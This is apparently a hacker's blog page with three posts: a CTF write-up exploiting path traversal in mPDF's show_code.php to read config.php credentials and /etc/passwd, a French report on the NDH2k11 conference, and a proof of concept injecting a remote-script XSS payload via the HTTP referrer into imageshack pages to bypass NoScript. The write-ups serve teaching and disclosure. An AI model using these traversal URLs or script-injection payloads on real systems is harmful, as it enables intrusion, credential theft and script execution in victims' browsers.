[PHDays]Web 0.3 Write-Up | Alternative way

December 16th, 2011
by ZadYree

Hello, here I am going to try explaining how to pwn the Web challenge on the 192.168.0.3 server. I am pretty surprised not so much teams managed to validate this flag, knowing how easy it was, compared to some other challenges.
I am sorry not to provide any screenshot, but I did not have the idea to take them while available.

Hence if you have participated to CTFs for at least two years, you probably noticed the required skill suddenly got quite high. Let us nevertheless not lose time trying to find reasons, and focus, instead, on the facts; I think the vulnerability I found was not expected by the PHD staff (not sure though).
To make it clear, I noticed one field seemed vulnerable to a special blind SQL injection, even though I was unable to be sure (I only participated 30 min in total).
Here we are going to exploit a File Disclosure vulnerability. This kind of flaws has the reputation of an extremely easy kind to find out AND exploit. Here, it is totally true, the only difference was the content was sent to the attacker as a PDF file; this is why I wonder if it was expected.

Enough bla bla, let’s pwn pwn!
Browsing the website, we notice there are 2 separated parts:

  •   The root folder – which contains the accessible and viewable content(articles, images).
  •   The mPDF folder – This old yummy CMS containing so many hidden unexplored parameters :’)

We have a nice source auditing work awaiting us… Ok, I am kidding, just look at the file show_code.php located in examples/

 if ($_REQUEST['filename']) { $filename = $_REQUEST['filename']; }
 [...]
 preg_match('/example[0]{0,1}(\d+)_(.*?)\.php/',$filename,$m);
 $num = intval($m[1]);
 [...]
 $text = file_get_contents($filename);

Look at the regexp and guess what we can notice:

  •   The (.*?) expression is permissive and may let any expression fit in.
  •   The developer forgot to mention the expression should end at the extension.

Consequently, this regexp only checks if the given expression contains ‘/example0_’ + $n + $anything + ‘.php’. Are you getting the idea?
We only have to craft an URI which contains the wanted pattern to p00n it!

http://192.168.0.3/mpdf50/examples/show_code.php?filename=example08_lists/../../../config.php

We then get to download a .pdf file, containing this:

  mPDF

Example 8. Lists/../../../conf

<?php
$dburl = ‘localhost:/tmp/mysql.sock’;
$dbname = ‘phnews’;
$dblogin = ‘AngryUser_10_a’;
$dbpass = ’1337′;
?>

Hurray! We can read php files. Not enough? okay, let’s try something else:

192.168.0.3/mpdf50/examples/show_code.php?filename=example08_aa.php/../../../../../../../../etc/passwd

mPDF

Example 8. Aa

# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.6.1 2010/12/21 17:09:25 kensmith Exp $
#
root:*:0:0:Charlie & flag-09324204aba4bf368c53b1d679aa5827:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin

We now have the flag! (09324204aba4bf368c53b1d679aa5827 for lazy readerz).

In conclusion, organizing a CTF event is pretty hard, and can include for challengers to find some other attractive ways of exploitation that have not been thought.

Wall of shame:

$mpdf->WriteHTML($html,2);    // The 2 is important to prevent <style etc.  being parsed  <– This is way far from your current issue, babe!

 

Exploit: http://www.exploit-db.com/exploits/18248/

Posted in News, Web | Comments (5)

NDH2k11 ~~ Compte rendu et divagations

June 28th, 2011
by ZadYree

Bel event, que nous ont préparé les copains de chez HZV/Sysdream cette année! Malgré une ambiance moins “Offshore” mais plus “DefCon” chez Picsou, des conférences de haut voltige – Hacking girls, Reinventing old school security, Hacking android, etc. – nous furent offertes, pour notre plus grand plaisir.

J’ai par ailleurs eu le plaisir de faire la connaissance de gens formidables sur place. La nature des meets et l’échange d’informations issues de la recherche est un sujet qui m’intéresse au plus haut point, et je pense y revenir dans un prochain article.

Revenons-en à nos moutons en rappelant pour les profanes que ce type de conférence ne doit pas être imaginé comme une antichambre du mal réunissant les plus grands génies du crime, délinquants informatiques insolents ou autres mafieux gourmands de vos numéros de carte bleue. Ces congrès sont en fait prisés par:

  • Des professionnels de la sécurité des systèmes d’information.
  • Des étudiants en disciplines diverses liées à l’informatique.
  • Des passionnés du hacking.

Ces derniers n’étant pas les “geeks” boutonneux et un tantinet sociopathes que nous avons l’habitude de voir à la télé.

Bref, tout ceci pour démystifier ce qu’il se passe durant ces conventions. La question que se posent tous ces “experts” de l’information étant “Mais pourquoi diable tous ces pirates s’acharnent-t-ils à s’attaquer à des systèmes que d’honnêtes travailleurs prolétaires ont créé, à la sueur de leur front?”. Raisonnement tout à fait caractéristique des chefs de projet, services juridiques, et autres directeurs techniques dont le seul embarras est l’éviction immédiate d’un éventuel manque à gagner, ou dans le meilleur des cas, la maximisation des gains. Eh bien, la réponse est assez marante et nous fait réaliser à quel point le l’aspect économique peut changer la manière de constater un fait, d’un point de vue pratique et juridique.

En effet, si l’on fait abstraction du manque à gagner ou de tout dommage financier, on imagine facilement ce métier utopique que serait le pentesting, un disclosure bien complet pendant les conférences, et une rapidité d’évolution des systèmes de sécurité exponentielle. Un plaisir pour tous les amoureux du poutrage de sécurité!

Oui mais voila, il n’en est pas ainsi! On se retrouve donc toujours avec une liberté d’expression réduite dans une discipline où il faut faire abstraction de toute contrainte de recherche. Certains pourraient faire remarquer qu’il suffit de ne pas s’attaquer à une personne ou à un groupe, et de se concentrer sur le détail d’un sujet d’un point de vue strictement technique; oui mais la question du contenu et de la pertinence des recherches se pose, une conférence se devant d’être le fruit d’une recherche avancée et rigoureuse, et le hacking ne prenant pas en compte les considération relevant du financier.

L’avenir de ce genre de manifestations est-il en danger? Voir l’effet Black Hat/DefCon: Ces conférences sont désormais l’apanage des grandes entreprises et semblent avoir comme but de faire la promotion de quelques individus, dans un cadre strictement professionnel et non plus dans un but de challenge intellectuel. Je pense sur ce sujet que lorsque nos rassemblements actuels seront trop institutionnalisés, d’autres, plus underground, naîtront.

La bonne attitude serait donc pour le public et les conférenciers de se fier non pas à la réputation d’un event, mais à son contenu, ce qui aurait pour conséquence globale d’empêcher cette institutionnalisation. Ne rêvons pas trop tout de même, d’autant plus que tous ces événements sont fort sympathiques en soi.

Pour en revenir à la Nuit du Hack 2011, voila un petit timeline de ce que j’ai pu voir:

  • Arrivée sur place  et validation des places; grosse déconnade avec les amis de la 3LRVS (“Euh les mecs, c’est par ici Space Mountain?” “Bon dieu, marche droit et ignore Dingo, c’est un cousin à Pedobear!”).
  • Entrée & WTFage à la vue de la taille de la salle (≈ CMB) et rencontre du staff et de gens bien sympatiques (Mandarine, Virtu, CrashFR, etc.).
  • Prez de Virtualabs sur les faiblesses et les avantages d’Android pour honnêtes citoyens prévenus.
  • Présentation de notre part sur une vulnérabilité présente dans les équipements d’un fournisseur d’accès. Assez stressant si on considère le coté politique vis à vis de la dangerosité du problème découvert. Personnellement je pense ne pas avoir été au top, mais ça viendra j’espère :) (slidez: Crawling-ISP)
  • Interview par l’excellente journaliste Hélène Chevalier. Toujours rassurant d’avoir l’opportunité d’avoir la parole pour faire comprendre aux auditeurs que les hackers et les Anonymous sont deux choses très différentes.
  • LE McDo de la NDH, ou comment être un salaud envers de pauvres étudiants en galère de thune à disney!:

-Bonjour, je suis chargée de prendre votre menu pendant votre attente!
-OMGWTF une hôtesse de queue!
-Vous commanderez un menu?
-Ouais, un magret de canard, cuisson bleue. Si vous avez un rouge qui tient la route, allez-y. Sinon, de l’eau, et dans un verre.
-Euh non on n’a pas tout ça monsieur
-[...] <—- Commande réelle
-c’est noté, tenez votre numéro!
-Euh par contre, j’ai vu les plateaux et j’ai comme l’impression que vos collègues oublient les couverts et le pain…
-Pardon?
-OK.

  • … Ainsi s’achève la prez “Hacking girls”! Tonnerre de tous les enfers, what the fuck de diantre! Tampipournoo!
  • Rencontre du pilote Mr Sterling, un collègue fort sympa admirateur de culture 0ldskewl. J’en parle, car en fait cette rencontre a duré plusieurs heures ^^
  • Je laisserai le reste jusqu’à l’open bar aux autres comptes-rendu, ce moment ayant été détaillé sur pas mal de blogs, et surtout au vu de ma flemmardise à relater des heures d’attente au CTF, qui m’ont tout de même permis de faire la connaissance de plusieurs teams dont je ne connaissais que le nom.
  • Ah, l’open bar! Ô bénédiction! Ô délices! Un grand moment, dont Blanche-Neige, la Belle au Bois dormant et nos deux autres princesses n’ont pu profiter (ils se reconnaîtront, les salauds ^^). Au programme, bière & champagne, auxquels j’ai unanimement fait honneur. J’ai pu discuter avec deux étudiants IngéSup très intéressants et leur souhaite toute la réussite possible (évitez les sentiers battus, méfiez-vous du “droit” chemin).
  • Et c’est le moment de s’en aller, avec tous les membres restants de l’équipe HZV, qui se recueille auprès de ce qu’il reste du charnier signé Maitre Kanter. Mais n’ayez crainte, même forts de cette résolution, nous n’étions pas encore sortis du fameux New-York Hotel. L’heure était à l’apprentissage: Eh oui Corbier, c’est fou combien il y a d’active directories pour une seule standardiste de chez Mickey! Puis vint la grande question: La femme de l’accueil a-t-elle des bières à vendre?
  • L’histoire se termine pour moi quand toute l’équipe me raccompagne ainsi que Death-Angel à la gare (Quelle idée de foutre une gare dans un endroit pareil!?) mais d’anciennes légendes murmurent que les plus courageux partirent quérir de l’essence de houblon coté gare de Lyon.

À la prochaine pour un nouvel article (“Finding pesos for fun and tacos”).

Posted in News | Comments (3)

[PoC]Browsers “GREENLIST” abusing via Referrer hijacking & XRS

September 2nd, 2010
by ZadYree

Q1: How to block scripts on web pages? That’s not such a nonsense question, ya. Let me explain: Many add-ons, patches and browser extensions are supposed to block malicious (or normal) scripts. We may think about “NoScript”, a Firefox extension. It automatically blacklists any domain. We can nonetheless allow any page. Here is the first weakness, considering the attack will come from a trustful website.

How the fuck is that possible, d00d? Well, many readers probably know Ads systems are omnipresent around the web, yeah, but it does not mean their system is secure…. Indeed, I noticed, few weeks ago, that turning some of my HTTP header informations (like the referrer) to scripts could provoke weird things … as executing this one(or SQL errors, but we may consider this later)!

This code comes from imageshack.us

<input type=”hidden” name=”MAX_FILE_SIZE” value=”13145728″/>
<input type=”hidden” name=”refer” value=”“/><script>alert(‘XSS’);</script>“/>
<input type=”hidden” name=”brand” value=”"/>
<input type=”hidden” name=”optimage” id=”optimage” value=”resample”/>

Example of offensive perl code: $h->referrer(‘”/><script SRC=http://offensive-site.com/xrs.js></script>’);

This allows a malicious site to change a browser’s referrer. Noscript will ignore it since it does modify your http header, using nothing but perl/PHP.

The malicious script will then get executed on the next trustful page (here imageshack), which is not blocked, since it needs JS activated to work.

Ex: pilou.com/page.cgi:

$h->referrer(‘”/><script SRC=http://pilou.com/xrs.js></script>’);

Then the browser gets to imageshack.us homepage & executes the script, while NoScript does not do anything!

Oh noes, we fucked NoScript’s blacklist system!

———————————————|| Version française ||————————————————-

Question: Peut-on bloquer les scripts des pages web? Pas si stupide que ça, comme question(pour ceux qui lèveraient le doigt en criant “MOI! MOI! MOI! Je sais!”, calmez-vous, même ma grand-mère utilise noscript): Plusieurs add-ons, options et extensions sont sensés bloquer les scripts. On connaît tous le célèbre NoScript, qui est une extension Firefox draconienne et efficace. Nous l’utiliserons comme référence dans cet article car elle est très probablement la plus paranoïaque des extensions sécuritaires. Son fonctionnement est rudimentaire: Elle bloque tous les scripts des pages non spécifiquement autorisées. Ceci est déja une faiblesse, car l’attaque proviendra ici du site de confiance.

Mais comment diantre une telle chose est-elle possible? Vous aurez certainement, au cours de vos longues années à trainer sur le web, remarqué l’omniprésence des régies publicitaires sur la toile. Ceci ne veut cependant pas dire que leur système est infaillible… De ce fait, j’ai remarqué, il y a quelques semaines, que modifier certaines données du header HTTP (comme le referrer) en y mettant un script était susceptible de provoquer des réactions inattendues… comme par exemple, les exécuter(ou même provoquer de grosses erreurs SQL)!

Prenons comme petit exemple le site imageshack.us, spécialisé dans l’hébergement d’images.

<input type=”hidden” name=”MAX_FILE_SIZE” value=”13145728?/>
<input type=”hidden” name=”refer” value=”http://www.google.fr“/>
<input type=”hidden” name=”brand” value=”"/>
<input type=”hidden” name=”optimage” id=”optimage” value=”resample”/>

Voici un exemple de code perl offensif contenu dans une page: $h->referrer(‘”/><script SRC=http://offensive-site.com/xrs.js></script>’);
Et hop, modification du referrer.
Résultat:

<input type=”hidden” name=”MAX_FILE_SIZE” value=”13145728?/>
<input type=”hidden” name=”refer” value=”“/><script SRC=http://offensive-site.com/xrs.js></script>“/>   <—– Variable de referrer non-filtrée(pas de htmlentities,etc)
<input type=”hidden” name=”brand” value=”"/>
<input type=”hidden” name=”optimage” id=”optimage” value=”resample”/>

Le script est donc exécuté sur la page de confiance, au lieu de la page prétendument malicieuse.

Ex: pilou.com/page.cgi:

$h->referrer(‘”/><script SRC=http://pilou.com/xrs.js></script>’);

Même chose ici, le referrer est modifié, puis exécuté lorsque le navigateur consulte une page sensible. Évidemment NoScript ne fait rien contre.

Voilu!

Posted in Web | Comments (4)